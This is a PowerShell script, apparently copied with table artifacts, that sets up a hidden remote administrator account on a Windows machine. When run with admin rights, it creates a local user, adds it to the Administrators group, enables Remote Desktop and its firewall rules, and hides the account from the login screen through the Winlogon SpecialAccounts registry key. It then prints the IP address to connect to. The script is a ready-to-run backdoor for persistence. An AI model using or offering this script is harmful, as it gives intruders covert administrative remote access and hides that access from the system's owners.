|
function Test-IsAdmin { |
|
([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") |
|
} |
|
|
|
if(!(Test-IsAdmin)){ |
|
Write-Warning "Try again, run with administrator privileges." |
|
Exit |
|
} |
|
|
|
$Username = Read-Host -Prompt "Enter username" |
|
$Password = Read-Host -AsSecureString -Prompt "Enter password" # TODO: Minimal require length! |
|
$Lang = Get-WinSystemLocale | Foreach {($_ -split '\s+',4)[0..2]} |
|
|
|
$DefaultPath = Get-Location |
|
|
|
function GenMsg(){ |
|
Param ( |
|
[Parameter(Mandatory=$true)][string]$msg, |
|
[Parameter(Mandatory=$false)][bool]$warning, |
|
[Parameter(Mandatory=$false)][bool]$indent = $False |
|
) |
|
|
|
if($indent){ |
|
Write-Host " " -NoNewline |
|
} |
|
Write-Host "- [" -NoNewline |
|
if($warning){ |
|
Write-Host "X" -ForegroundColor Red -NoNewline |
|
} else { |
|
Write-Host "X" -ForegroundColor Green -NoNewline |
|
} |
|
Write-Host "] " -NoNewline |
|
Write-Host $msg |
|
} |
|
|
|
Write-Host "`nScript is running:" |
|
|
|
# Create user |
|
$Users = Get-LocalUser | Where-Object {$_.Name -eq $Username} |
|
if (-not $Users){ |
|
New-LocalUser $Username -Password $Password -FullName "Anonymous" -Description "Lorem Ipsum" | out-null |
|
GenMsg "Create new user" |
|
} else { |
|
GenMsg "User with following name already exist" $True |
|
} |
|
|
|
# Add to group |
|
$GroupName = If ($Lang -eq 'pl-PL') {"Administratorzy"} Else {"Administrators"} |
|
$UserInGroup = (Get-LocalGroupMember -Group $GroupName | Where-Object { $_.PrincipalSource -eq "Local" } | Where-Object { $_.Name -eq "$($env:computername)\$($Username)" }).Count |
|
|
|
if($UserInGroup -eq 0){ |
|
Add-LocalGroupMember -Group $GroupName -Member $Username |
|
GenMsg "Add user to local administrators group" |
|
} else { |
|
GenMsg "User exist in local administrators group" $True |
|
} |
|
|
|
|
|
# Allow to remote connections |
|
$AllowRemote = (Get-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections").fDenyTSConnections |
|
if($AllowRemote -eq 1){ |
|
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-Name "fDenyTSConnections" -Value 0 |
|
GenMsg "Allow to remote connections" |
|
} else { |
|
GenMsg "Allow to remote connections" $True |
|
} |
|
|
|
$NetworkGroupName = If ($Lang -eq 'pl-PL') {"Pulpit Zdalny"} Else {"Remote Desktop"} |
|
$FirewallConfig = (Get-NetFirewallRule -DisplayGroup $NetworkGroupName).Enabled |
|
|
|
if($FirewallConfig -notcontains $True){ |
|
Enable-NetFirewallRule -DisplayGroup $NetworkGroupName |
|
GenMsg "Modify firewall configuration" |
|
} else { |
|
GenMsg "Modify firewall configuration" $True |
|
} |
|
|
|
# Make user hidden |
|
Set-Location -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" |
|
GenMsg "Edit registry" |
|
|
|
if(Test-Path SpecialAccounts){ |
|
GenMsg "- [SpecialAccounts] key already exist" $True $True |
|
} else { |
|
New-Item –Name SpecialAccounts | out-null |
|
GenMsg "- [SpecialAccounts] key created successfully" $False $True |
|
} |
|
|
|
Set-Location -Path ".\SpecialAccounts" |
|
|
|
if(Test-Path UserList){ |
|
GenMsg "- [UserList] sub-key already exist" $True $True |
|
} else { |
|
New-Item –Name UserList | out-null |
|
GenMsg "- [UserList] sub-key created successfully" $False $True |
|
} |
|
|
|
# You can't hide main account -REPAIR |
|
if((Get-ItemProperty . -Name $Username -ErrorAction SilentlyContinue) -eq $null){ |
|
New-ItemProperty -Path .\UserList -Name $Username -Value ”0” -PropertyType "DWord" | out-null |
|
GenMsg "- [$($Username)] Added property in sub-key" $False $True |
|
} else { |
|
GenMsg "- [$($Username)] Entry was created before" $True $True |
|
} |
|
|
|
$IPAddress = (Get-NetIPAddress -AddressFamily IPv4).IPAddress[0] |
|
$Message = @" |
|
|
|
###### |
|
## CONNECT WITH $($IPAddress) |
|
###### |
|
|
|
"@ |
|
|
|
Write-Host $Message |
|
Set-Location -Path $DefaultPath |